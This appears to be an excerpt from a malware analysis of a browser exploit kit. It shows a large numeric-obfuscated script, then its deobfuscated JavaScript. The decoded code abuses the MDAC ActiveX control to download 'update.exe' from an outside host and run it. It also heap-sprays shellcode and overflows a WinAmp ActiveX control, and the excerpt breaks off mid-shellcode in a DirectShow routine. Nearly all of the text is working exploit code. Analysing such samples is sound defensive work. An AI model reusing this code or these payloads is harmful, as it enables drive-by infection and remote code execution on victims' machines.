1311331491541491621841511381741581511782231912121761691361501491371782201752221311  
6015111814818518315620513615319714112221623318317111810416417313622319122715117213

1150132190177198171222130122147183152223179225180120102201144139166233183171118173  
1591351362201921741931101282031861812022361712221301221721381481691921721791371192  
0114413916623018317111817315913412016919117416817213016613219017818217122213012214  
7186148169179154181163102192143138201169184212138176159173136152191177172169132204  
1561211911811541511431411671171471852171571821401311981571421782341962121221071591  
541522220421518017515616516618617516522115313112215111514918518322718415810314914  
6155200166182187134103159152152217195190169122133149116142182162196172135160159189  
1531852172281801011321391411922202242072251531251601521441521962121921751301671561  
9017922119521913112215918914818416215818413712713214315517823618518813817315911514  
8220195191188175136154115181177181206158130122171118148207192176180121161198149177  
1831821832081011021591171481531901902061751321661701871781822141741341021631871531  
7018722518117514313216915420022918015416810415918917917219222817610213618711519118  
2220180172129138163119148223183222184137162153149138149166184225134106160135170151  
1931741761721311661331281752352252131541021561331481691831581811371611351431551711  
8318720913017016013515321019318915110513113014011917719818715313013816311614917019  
1158181122128153146143149224182170153109164135137169191174203122132166156187179162  
1831531321371301151481492032261791381271301481551662301832091391251601521402211911  
9119311913518813612420319720521812710519813715017019217418410113615114917615018218  
7187126106158151152154192215176169135188132120178181154153134176147118152223221156  
1801591351331451781751711802241731711821541912161891902191041511531751861911972102  
2114216319417516015219622819010316218214215921716419519112615717115112021821419322  
3168133132175180176185163208150163168173171173192204200139102199166122187219205154  
1351751791541242111891741681681311651741281811972061581271751901221601851632132011  
0313213116515818723120617010616018117615720521417718912315215315318719120115915112  
8121182185160210226214192104135192142155217218182213131162182136141149214178177165  
1431921531191911972092131421042021711701521922181931201531971411211792292051531611  
6116117217021521215617716614416914511920016322221514113713518917118818822820312512  
8194165180200225183186173172171176183209203157185175141132175171177223226211151163  
1821151681681622261781361611371691581872292051531391091821391451542151561721101521  
9115312217418317620915312519011716118721818619216216619015612218222520415312716717  
2154149149213155219165142165174126203201184207153125160178146172199218204104103139  
1341802092231811741221661831181532222151942191031431701401741902201551711521631681  
7117117220018617812412319714112020119819515412716618113915221819915620716115215318  
6181176198222215143159186172146189230218193158158154165192205218181186161109179154  
160212951562071611431321831451861812092151281421981351691511632252011241401301571  
5420422618515410216218013914920921515617317115215416718319922317621915212118517915  
0152162181202162140130167159175231179175135175182154156156216194152110143132137119  
1901642092141431371901221731891621812001361691961461221491891951901101691821171792  
182031931521721291491741262031952182121531411351731711722222420115812018616512122  
1165203190106158180155136212189194219101153192175126201223176224126125139172168207  
1632132011031321311651581872312061701061601811761572052141771891231521531531871912  
0115915112812118218516021022621419210413519214215521722120415313110318015415721821  
4173156158152132149124177223176222152125168184161170192217200140174189142142158219  
2032081601091801171452141902152111601341651671451871642142201341411311861521881921  
5420014114419015413820016920415312716715817717121320417818516413416516619117523622  
2221142163193184168172200218193103158130147154200234180225169172171176182218204177  
1731011431661151811772191632101501421561751601521962282001241111331431811672252051  
7015210918011714521419021518116814317014519319820118716012710416018217015122221318  
2159119135145155187180187225142175158152145172191213188169132151145138182197155169  
13016115512014718618315618010114313314519317518318417114312216417217015621421  
5173174127154145182191201226218142104139174161185163155201162140204156121171233196  
1861561591561551571691911741801751281701521231822201951511271421671891481691952251  
7714113920114819320016618019113810215913517516818819418810513518813313917520219122  
3134176181186145189199158184160124151141159186233185171138106156155156220193191189

1201281701521191781822101701271421671191531691911541771411391331481931822331801911  
3810316113517516818819418810313516614513917520219115213413816311514518920017618016  
0135202141159187184183209127121156155157171195228207120128170152119183221192170127  
1421671161482072001721771411401521481552042361801911381061611511561511881941881721  
3215015212017520219115213117616711714518919915718017515814914115918616618720913112  
2156155156223191228202101128170152190178236205155127142167116149208203228177141139  
1331451772051811801911381731591891442201881941881751311301561931752021911511321391  
5912014518919915418013713920114115918623618315112312315615515622319221319312412817  
0153138183198172174127142167186148223183154177141140153144177178166180191138173161  
1351701491881941891211361891441911752021912221301761481361451891991541801221441481  
4115918718418821013912115615515622319521218810512817015212217919919515512714216711  
6153186199155177141139130145177205181180191138173159189144149188194188103132189144  
1931752021912221341761861341451891991581841591351341411591862341872251381041561551  
5717019122816817512817015219017918221017012714216718614822321817217714113913114917  
8178236180191138103159135157171188194188105136151144193175202191222132122182136145  
1891991551801591391331411591862361831511261061561551561531951911811191281701531411  
8018219217012714216813815320818322717714114015314917819118518019113912215913514822  
2188194189124132204171138175202192169135139171188145189200173182121136153141159186  
2351881871421031561551561521931741921021281701521211792211761701271421671171492072  
2115817714114014914414017118118019113810616315116116918819418810613315115219017520  
2191153132122167186145189199156185137144153141159186164184171127124156155156152192  
1901921051281701521211822362052241271421671161491692041751771411391341491561741661  
8019113817316415115317118819418912413618915313917520219122213112216711614518919915  
5180121161204141159187182183171130176156155156150191174188172128170152123182220191  
1531271421671861491691991551771411401501441772042361801911381061591891711721881941  
8817513116714419217520219115213012216718814518919922818116012713414115918623518820  
9123120156155157172196212202172128170152190179182191152127142167189148223200173177  
1411391311451191911851801911391211611351561511881941891241361661741231752021912221  
3513818613314518919915518113814415314115918616318422511810215615515717119621317610  
5128170153141178183184173127142168138153207203225177141139201145139186163180191138  
1051601351601531881941881041311501661191752021912241351601601331451891991571801751  
2815314115918616418722515217315615515615119319019312412817015212118318220515112714  
2167188153185203155177141139132149177190236180191138175164151161170188194188103136  
1661561931752021911531311601561381451891992271851591431331411591861641882091431221  
5615515615119217419217312817015212217818218017312714216711814816920315817714113913  
2145155179185180191138176159189149170187211210108154191137192174185180215143104156  
1821691511922201831411401991571591792201951911191621571341442092141901691591311531  
4417920119817220913012515917214618523015619214112718516414218721819617413917518111  
7179155204190151174131150183121190202179206152104202171160151230228202124124188157  
1551502251961901231611721551452232111942151611291331451821912012262181421041391741  
6118416722119314010719216714220416920615315716618013815621220321521116314319118718  
9190164221220151125168184161152196217183125132197156158179228205154119158171117156  
2132032152111631431911871891901642212171331411561791611511882212011031321961461221  
9121820520811916317915419121620321522317114313218212819022321421314216320218516015  
1229223202104140187166122183235203190106164157135136216213156223157143132183193200  
1851762091431371891221712101842271761241281971651211792281861901271661721171452162  
1215618116713019214512019022418415115216319018416122221722517912412819415712117522  
9204153131168158176191209212215203101151149116193199185176209150105160186160188192  
2141781371701331641422092291961861571591801381282072112271561681441691201812011852  
0921715210420217116015123022820212412418815715522023320717113417315913513622018919  
3177168152132145185181201180218151104160181146151188221201103132196142121191226204  
1741731591801381282072112282191031431701401741992011922191511051561201511881672142  
0317412014816618117521820718615616616111716121921321120710314317014017419819815422  
2132104189123149207203156182103161196142192209169204190139170180118145154201156211

1531341691411861991641842171281051601781611882342211921031111891571552171711732121  
3517217111815721720419315610113019216719219820218821112812118112315614919218918613  
9120167140142221218204212153103171154171209194189177140135190145177200223214222153  
1211551101452222211611931241111881671581502222042131341711821181452132141771881641  
2813214118919122015522515312615617916921021321718013713520114413822116320421213917  
6171117141220204189206158128169157180174219213215126121197170170152196227200140107  
1921421391702331831711181691821541242092131561811571531531521821742191912221421751  
5517914618421321818210313620015612218723019619010610215817717122221119418516112914  
9167145187164214220134141131186152188192154200141144190154138154182204153106104172  
1551451491962152111681441651331761991641952181301372011871471691832211801361732021  
4119220816919617411016018215412020921221618417015413314118320118519121412710219015  
5168188167172201141120148156122183226206212139143158174149219212216193161153192149  
1421982012262111261251561851612062332261791211231971441542202341821711221641571511  
8720821215618110215216915318820118115915415216319011516118421721618613915419416517  
8171230205172123160182138179151204192206170135132124188201223192224153123172179169  
1721992091921621111911431391702291831861721741581351402161911892021651331321491891  
9016519221914314113511514721121422720014113619014213820118819215316117116315412022  
0195193181101151170157179188181159171151104135117161189188154185162162197157154167  
2192041531421691591501902211901741721681311651861911752352131581431251391731711881  
6321420116313519916712217522620617413816515618919021919915418113613716813315618121  
9205215132105131173160189196212200120158190142159217171173212135166181176157207214  
1781811641521331661821761982221601201631721161692101921542001401111991401421832262  
0521213916018213914921221215720216412917018312119020217920615210418617516917223421  
2201103136190147159187231196191131160171155137209189173176161154167144190178236183  
2111531381861341492071952142031371312011451391662222061871191221601891742092141901  
8417213315114017920119821017013012315917517118518417418117511919016715520518118718  
8134162182151136153192190206161154166132124183199179211153138163186150170187214203  
137158151144193182222061871531221601351362092141901881051331511401792011981961691  
3010215917517118520017218112113519016715618623518817112216218215215622219121317616  
1154167153139180183179211153138164138153186187214203137139203145156170222206188139  
1201611351482092141902061061321661561792011981711511311381671751711851991571811371  
4319016715520023618517212616218215117516819115418016115416614419317923618721115313  
8147189149223217214203137139132149177178222206187152104161136144209214190168175131  
1881321792011981832251351601591751711851951591841751611901671551822341841871181621  
8215114822319519118416115416614412118322119521115313915613714817020321420313711920  
414415518222206188142175159189174209214190168105132204148179201199184174134176151  
1751711851792281801221351901671551822331882101221621821521571721961911761611541661  
4513817919820921115313818111615320721721420313714015214915518622220618713410416113  
6144209214190168175131188148179201198195153134176159175171185180174182122127190167  
1552051811841711561621821511411691921901921611541671481931781821832111531381471151  
5017018721420313711920414614017022220618713912516318914820921419018817213216715217  
9201198210172134176159175171185179158181101135190167155186235184187152162182151148  
2231952122061611541661711371821621752111531391671191491861872142031381441531481551  
7422220618814312516417416020921419118017213120414017920119919515413212315517517118  
6184176185159127190167156174166184172142162182151145171192212188161154166166123179  
2201912111531381711171521861872142031371431321461552042222061881261731631521442092  
1419020711913218914417920119821315513513814717517118520315818113711919016715519118  
4184210142162182151160149191213188161154166166120179220209211153138172135149223187  
214203137139130145178182222061871571241631731742092141901691231321511521792011991  
9617413513915917517118517915418113713919016715518623318518713016218215214822019122  
8180161154166152190179198171211153138186134149185203214203137119130145155186222206  
1881301751611351482092141902061751321301561792011981832231341761551751711851992251  
8113712719016715517816418720915616218215114517219119117216115416715714217923617121  
1153138147115149185199214203137131204145156174222206187138105164174160209214191176

1051321661561792011991961731321381851751711851801761821221231901671551861631882101  
4216218215115615219117418416115416715314218222020921115313916718615214919921420313  
8144153145177166222206187118102160151156209214190202101132188170179201198205222131  
1761631751711851881771801011231901671552002361832101421621821511611691922281681611  
5416615612417922119521115313817213614922319521420313712815214517718622220618714312  
5160173148209214190177123132189148179201198196173131160159175171185203156180160143  
1901671551751851842091521621821511611721922131801611541661561191792201752111531381  
8118614820819921420313715320114517720422220618714210315911516020921419018010113113  
0148176176198222153142142155170160210222216192162174200156121216171206190106162181  
11714920521317718816412718715312018019817115613012116811615018517915918012012  
7194146122191218205208119165172154141208204194177175151170179179181198179222132105  
1721711702061802282011241241881641221792331951901311621621541752092031931851611531  
9214518320222319121715210418617516917223421220110313619014318022122220421215310217  
9135187152211177211168144165171176198201206208151125139173168222167221193140107192  
1671422041702051531731581711171872232131771731591441651751761982012062081511251391  
731682222916319216216219215618022123219515316810918217614122218717719316515215318  
7176199185163209150176131172168188214211201124111188164192154236206190127176182139  
1452132122152021641311491871931991851762091501051601861601881922141781371701321561  
5917421719521217317217111718615820321521116314319118718919016422122015210516817217  
0152196227200140107192142139166229195212161164171176191219203156218170152153153188  
1911651882141291421601821601881922202021041201861561211862261851541531651791541912  
0918917717716815213214518517722322621115116318211516816823022820112412418816412217  
9233195190131162162135137153192174168172131150132183202164180218151104160181151188  
1882212011031321961421211752292041531311681571171612132121772231581521531241771982  
3622216012016417217117020618022219314010320016618120817120421213910515513614122221  
3215173106129149174126191223163224128126172171170206180218183137119137164155220236  
1841871181091791501862151891942191691441691161892002242142011501401301241602102342  
2419210316919616612120522220417417316018011715320919315715112815415414112420216519  
6207152159148185160210225163193124111188167158150222204213134171171118145209203194  
1851611361691871791992011922201531211851771691511882191931401321301411922081691961  
7411016018215412020921221618417014319112417820219715920715212614817516921019617420  
0124162197157138205232195212164166161117128206211211156104151169149119198182154213  
1301371811221691511882191791621581901641582012252061711011641591501701562121561771  
661301911491752011851751601271751341851611722222719314013213016612120523220622410  
6173179139136211193156160158151187120177199185176225152104190174151184214212201125  
1321941571392122331851871381031631521481511912111521201361881411411771981881711341  
6115118315218518817318213610314814517717918518422515217516413515215119515419216313  
3133145179201184188215151141168185171189195217176162162191140138205182203174139160  
1791151791821891732101651552031331391991641552221511251681151611842172181821741201  
3914014218722920515313815718318813722321221517317215313217118920118120921513217514  
8124144206233226180121119201142155217171195153123102171117174212204189211108153132  
1201752001861842141511051631781461852301632051341661911671581542202061741611721801  
7213722321221517317215313217118920118120921515410517217117020618015818210414418616  
6176167232195212164109182176141222187177152106143132137192200236155220143142181170  
1521891882271921411611931421552172302071901311581811771491991911761511101281321441  
2517716317222415110418218816018816220918516216219715715917823219015413910218013812  
8219211227169123155154133192191202184225129105182171160206167214204124139192146121  
1501671951531231751811161862212021901511631441501781891861861802211431051561711691  
8418017720014017419016619215819420619113516918011712821518717518910515315414117920  
0165183221153104152172147210200158193136153137165159209220195191127176169189145201  
1941892031611331871241522002231632131521631521831441702042182011241402041431191581  
6320617417317218011718620419619420717215319115319320023516315414214115518416118921  
8214177175170130166181209169206212123175155138128206211212152170144170166174182201  
1841511501421721751581701712112001621401881671382042242051531061731821771702181991

5615615715315414518219916518720613916319017517115120022717612213220016518118323520  
4153172171159150170213193157152159143170149177198181210211128142198115170211222161  
2031621242031401421582192032091021611801171491502121931891701541491201772002231922  
0715312516813716917220022219314010713014213820123219521216516217111815221118919021  
9171143191178188200164192151134142164115170210222211203141136190142138201220204174  
1231761811171792081882272221631431321871931982011871571351601481371491691881751811  
3711919814419319016618722410117415915215222019019117312213315013618717818217216913  
0123159120148170196174182122135135141192208169204153127167158177149209214175173101  
1541541411831902241921511431371851771681881952161791201542001561802122241811871691  
7217117618221821315618910113517014911920022321420815314216417514616821415720014013  
6130164138200229180225122164157151187219203215214170153132153119182202188151152163  
1901721711891962141781201541931571582092242031751341641581341702211882272101081441  
5312417720120115521115116416318416021017121320413610718616614316722220421213512217  
9138179216204173207171143191178183180165155209142142164173168168218214178141170139  
1691522131622052131611091791541602122121561771661341651671691991641802161431411601  
1515918421321820410314420016617620516617917416117115513812015420315617317415320317  
5126199164180216133141135175171222180172192104136194167180187203190153127167172154  
1491491891732031751521921331212012351591871511631521861701512182242031201201691641  
5818716519619112615716311712821821417817717115214911919117523521315815316315218814  
4172188155193159103198168158179218205213131152183137119156212156177166130190179189  
1991641541601301221981851602102252231881031582001671191542182062121611641711551532  
1321215615612015417014911919916415922513314117217116917319221418210311118716417615  
4180204174173172182115149219212216185161155154149149191201159152133141172171169173  
1922141821031111871641761541982042121231731811171752192141761691571541531701281751  
6421015115312614712114722217122820212417420016415918323019618610616018011711921820  
3156155171144191166189199185163207143121135186168173179153193137102132141193217162  
2052131611091801171452141902131811711521701331921912021842251431411641481601891962  
1718314012813115717721723219521216417116713914521321221618513715219113719020016421  
0221153121185179150152204210202158120204165181167222204174139170172154124149194193  
1851711431331531871912011591511291631601881611881841541931381401971571581502222042  
1313416515611717921021321517316914416516618318016518422015212516818216118816321420  
1163135199166121187162187191135102181176179206214194185161129149167183191181205218  
1271051601841601891802181931631281861651581862241811871691761801771372092121771891  
69144169120119177224184211153123152115171173188218192163140130157154204222420515412  
71601561881902112031931771711541701481251711922322620715116319717714618523228201163  
120190165142187230196190106102158177149209214751731011541541411831902241921511431  
3718517717115122221320312415719214313917022618515413117118113815721620419315216115  
2192148188200164192151134142164115170210222211203141136190142138201225196190161164  
1791391522111901741721651331331451882001851922181431411311751692111952232021031401  
3014815918316220521216115918215515320918917320317515415417518619119720521812710416  
4179170152180221192141161136165180158231196187168164157151187208212156181102152169  
1531882011811592081511041641201472101842252021241401991571401792252031901731611571  
3914921821317718916814416911617919922418721513210516017517117119621820114014020016  
7159182225179212135172171118157217204193156101130191167179201183192218143141131175  
1692111961732041381621891421382012362042121231731791541612222031931521611282031741  
8820016518020912612213017014515123421319214111913614319215722418522412616915918913  
6220191173210108156169145175201185184214128125167179172152163163205141103188156159  
1832202031701571621571551871581812151811711521651701831801651541781431641681841601  
5219621820110310618515612115823018117016110918213914515421515719315715318713318919  
0223217160143125139173171188163214201163135199156122175222195191135162164154191209  
212193189170154149170181199164180216143141160115145222211611931241111881671581502  
2220421313417117117612820821518915615715315413317919922318817115012519018216116821  
8224192162165194146121158219203208106176172155153167214178185174151169141120201185  
1912141271041601821601891922282001401351921431382012202041751311661721351831711952

2818410113215114513817921915422513513818213714718519515818115913919814817717118218  
3224101173164136156152191213189124131204175138178162195213128138198179161206218224  
1921621651941681221912182052081191761791381492192041771881101541691201792001641842  
0715212516717814420620015518417511920414419218716318517212610416013415715019122816  
8101131149153120178183183154132121168116149169179158184158140131146140174233187224  
1391031591521481521911731891021331511411371831811921521301221851161501682001551801  
2116215214817618716318417111810616317215715019317518417513214915312017916218315113  
0121168116149185217158184158140131145178170236187224139103160152140149192173189102  
1361661411401781971921521351381551881522062001551851381311341481761871631841721431  
2416317215715019219017610213516515312018319917515513017516811615016922115518115814  
013114413918216318418613910316015117015019221189102132204144123182219192152132123  
155189152222001551801751311331451381871631831711301051611341571501921901931241312  
0315312017923619515513415916811614816919122718012014013114419317918518322413910316  
0135179169193189189102132150136120178181192152130176160133153168200155180175144153  
1491761871631872101381731641721571501911741801731321491531201832201792251321211681  
1614816921715718112014013114811919118218318613910315913514822019617318910213215013  
3142182197192152135139172137152206200155180101127131146138187163184225139125161134  
1571501921911891231321651531201791821951551341591681161481691912271811201401311451  
7719118218322413910315913614815319521118910213315114011918018119215213013915911614  
9206200155185121131201144192187163183171134106163172157150191174180105135165153120  
1791991961711301751681161491851791551851361401311461401831821832241391031591351741  
5219617318910213216614012017923519215213017616013415016820015518212212415014815418  
7163188187156103163172157150196213193119131187153120183221196174135159168116152223  
17922818015814013114917720016618720813910316315215717219121118910213518817011  
9183219192152130161167117149184200155181175157132145154187163184209143120163172157  
1501922121921061331491531201822201721691341591681161501701831561841741401311461552  
0518418317013910316017317415019117318910213218915212118321919215213116016318815318  
4200155181175139132146138187163184210130105159172157150192190184103136149153120180  
1831921701321211681161481701991541851361401311491781911841872241391031591351521501  
9218918910213216613212417823519215213417614718914822220015518113711913114413818716  
3185172126103160172157150191174184102132165153120182236179155130175168116150169191  
1571851581401311441931711821832081391031601511361501912111891021312041571381801811  
9215213016117118715218420015518516014313314413818716318317113410316015015715019122  
8180102135187153120179198206174135159168116152207217155181158140131149178186167185  
1701391031591361561531951891891021321661531421832191921521311381811861491682001551  
8513814414914613818716318818711912216415015715019621319210313114915312017818218715  
2131137168116149223195156182120140131145193166165184170139103159174160223195189189  
1021322041441921832191921521311611591181481682001551811591611321491761871631842101  
3410516013415715019121318810313216515312017922119515313017516811614820819915618512  
0140131145178186164183224139103160173160222196211189102131189156121179235192152131  
161171117152222001551811591351321441541871631842251181751641501571501922281681031  
3314915312017922019122513515916811614822321322818512012719414612219121820520811916  
5171177148158191178206173131150132190178182171158153163152188144173192228202175103  
1931561811782301811751311651711171282082041891561681441691201812011852092161301591  
9718617216919115817813717013215615917421720317412611115713513715319117718017214320  
4133177178185183219150125156189146184171217192163131137167180171235179174102107182  
1761412221941941891701441701451771902021722111281211551751711851801741801221311901  
6715516718218317213015915715118715120319417615615313314412819920221415314214215512  
2171151218218201124139193166122178231204174139171172118153212189212176109153133145  
193176202222251521751971241701521911612051341662041661931502362052241061761821541  
4522321417817716515219116618217818122622515210515918514820622116120316212420314014  
2149171204212139105155136141222213215173106129149174126191223163224128126172171170  
2061802181831371191371641552212251952091691661571881862132151561521511511681151282  
0016518321715210418617316915119621418210410215716718017123517917516411116615414114

9211173156159144169175186176182172155130125159186160223180212180124131194146122212  
1711961741101601821541202092122161841701531321451921982021721511521031971861591841  
6721220216214018616714218718220415310610218117612821619921517317014413215218217619  
7159218143141135177171172217161205141103188156159183220203170157162157155187158181  
2161811721531911531751911861842141431411681151461682211612051341661911671581542202  
0617416117218017213722321317817716114316914919319818519221115312118517917215219622  
7204141170132156159174217204153127167181118137222204193173160134169120179201235172  
1691421051641791712102001951871031281951571581791621811701531341681151482211911731  
5613715315414117919020118822515012516817517116821321818210410318815615918322020317  
0157162157155187158181215211162129153124176198224184222152163168171161168222161203  
1251281351681221912182052081191761791381572162121771811711441531521282012011592111  
5210416017117017219921717615814013114819316623618322413910316113614415119217318910  
2131204132119178181192152130123159118150168200155181121119134148176187163185172126  
1731631881571501911911801041311491531201801831801691351211681161481692171551821201  
4013114413920918418720813910316013513615319521118910213315114819317918119215213110  
2159115148168200155181137157134148176187163184210122176163188157150192191172101132  
1491531201831981801721301371681161531851872271841581401311491561781661872081391031  
6013616117119521118910213216614012018219719215213513915111914822220015518212116113  
1145176187163183171134103160150157150192190202102132187153120179236183155134159168  
1161501701872281841741401311441931781651841701391031591351481521931731891021321661  
5714217823519215213117617111915220620015518012113120314413818716318322513112515918  
8157150192174211121133165153120179182175152130121168116148223192172185120140131144  
1931911851882081391031631741562201962111891021311501441911791811921521351601551891  
5016820015518012115713314513818716318715114312215915015715019117418017213614915312  
0179182172174134137168116153186204176184158140131144119174163185170139103160189157  
1721931731891021321671531411791971921521311221711191522062001551801211312031451381  
8716318420914312215918815715019117518010513518715312018018317915113212116811614818  
6191155181158140131149139178233183224139103159135152153195211189102131150144123182  
1971921521311391721351482222001551811371191311491541871631851721351221591881571501  
9117420610413614915312017919817915213117516811614822319217318212014013114614017118  
2187186139103164151174150195211189102136189157137178219192152135161172138153206200  
1551841751192041441761871631882091521061631721571501951911891241311871531201822202  
0915113515916811614820819915618113614013114519320416418418613910316017316116719521  
1189102132188156124180181192152134160148133152206200155182122123132148192187163185  
187157124159134157150192122061021311491531201792211911531351591681161492071952271  
8513614013114519318616418517013910316017414815219121118910213216614812118318119215  
2132123168134150168200155180122139130149154187163188210143124163188157150191174184  
1021321651531201791981711561301751681161522231792281801741401311451551661631831701  
3910316113614415019221118910213115014812017919719215213417615511914822220015518212  
1131133149176187163183225123122159172157150192190168102131187153120178236196170132  
1211681161482082032261841361401311491781901651831701391031591351521501921891891021  
3120414412018221919215213113818213815320620015518415915713114517618716318821013810  
7161134157150191175188105135165153120179198192174135159168116149185213225181120140  
1311491561911811851701391031641511371691961891891021361891561211781811921521301221  
6311614918420015518117513513214613818716318422511810516013415715019121319217513516  
5153120179236183224135159168116149208191157180120140131145177208164188208139103160  
1741521521921731891021311891521211791971921521311611711171482222001551801601391321  
4913818716318421013810415918815715019221219217413618715312017822119515313117516811  
6149208203156184174140131145177182164183186139103160189136222196189189102132204132  
1211801811921521311601671891532062001551801751572041491381742261851541431581811721  
3720521321617715715516611618819120220520613414215618816018922121717813717013215615  
9174217204175130111159139174153191190168172131149115182200164210211151125202173169  
1511962141791621741901651802011622031701641751571511871512031941761561431911751811  
9022322622114210419712417118816721420210313218616614218622517920813910315913814422

```

0203227189102131153140190182235179215132105182178168188234214178124128194157121175
2292041531311681581761912092122152031011511501871862002351622241281421981721681882
1421120112411118816419221617119521216116417117619121920315621810815616317912119020
2179206151125185124160210222216192162174200156121216231205154139159181118153222211
1931561631291501321861991861832211301591891221611722002211931411361901401421752261
9615312716918011714921519315619317115318717112119020217920615013813018615015122116
2180125157135146154212235185153160168157188179156203194177174143170175169198200154
1601511251851811691722172202021031581901651422212202041531351621611181191761951561
6016815215315317720118320620715216315617116115119921717813717013215615917421720415
3127167181118137222204193173160134169120179201235172169142105164179171210200195187
1031281951571581791621811701271341681151482211911731561371531541411791902011882251
5012516817517116818721818210313913916518018716517917212317518117614115418917321010
8144165120190201202184214128122151179150151199223202125140204164138204235181187169
1621581771371502131562061641311491741261911971592221531421601781461732142182011621
3620016719220816919621211017515713817815819117421916513415315218819918519222014310
5164178150151221220178174162137157180158235181174164111159135187214194174172172133
1321781851762352141581531261561201721511712112001631322011661801872181961701061241
8217614121621419317310114416517117918816421420312813819812416015118415419210315719
3157154209169208191102111149177171213212215185171154203120193201185176151153142159
1241611872292281911361691871401772172232041541261651791731192201931562141091311661
3212619821922121712814219811517021122216120110312819516612216723519619012316115817
6120223196177173101143168145189201202180209143139139172168210200212203120158190154
1931792141811871691111711171411492031562061641441651751262032021551601421041521151
6015121721719313616213716915914918918715311017018113819120921417718816412916618312
8168223155210142141159178146185229167' ));

```

Deobfuscated:

```

function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
var urltofile='http://sploitme.com.cn/fg/load.php?e=1';var
filename='update.exe';function Create0(o,n){var
r=null;try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,'','')}catch(e){}}
if(!r){try{r=o.GetObject('',n)}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return r;}
function Go(a){var s=Create0(a,'WScript.Shell');var
o=Create0(a,'ADODB.Stream');var e=s.Environment('Process');var xhr=null;var
bin=e.Item('TEMP')+ '\\'+filename;try{xhr=new XMLHttpRequest();}
catch(e){try{xhr=new ActiveXObject('Microsoft.XMLHTTP');}
catch(e){xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');}}
if(!xhr)return(0);xhr.open('GET',urltofile,false)
xhr.send(null);var
filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.Sav
eToFile(bin,2);s.Run(bin,0);}

```

```

function mdac(){var i=0;var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCDFD33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCDDDF-CA28-496b-B050-6C07C962476B}', null);while(objects[i]){var a=null;if(objects[i].substring(0,1)==''){a=document.createElement('object');a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));}else{try{a=new ActiveXObject(objects[i]);}catch(e){}}if(a){try{var b=Create0(a,'WScript.Shell');if(b){if(Go(a)){if(CheckIP()){Complete();}else{aolwinamp();}return true;}}}}catch(e){}}i++;}aolwinamp();}function aolwinamp(){try{var obj=document.createElement('object');document.body.appendChild(obj);obj.id='IWinAmpActiveX';obj.width='1';obj.height='1';obj.data='./directshow.php';obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uFCF1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%u0033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D");var bigblock=unescape("%u0c0c%u0c0c");var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;var fillblock=bigblock.substring(0,slackspace);var block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;var memory=new Array();for(var i=0;i<666;i++){memory[i]=block+shellcode;}document.write('<SCRIPT language="VBScript">');document.write('bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('</SCRIPT>');}catch(e){}directshow();}function directshow(){var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uFCF1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E

```

```

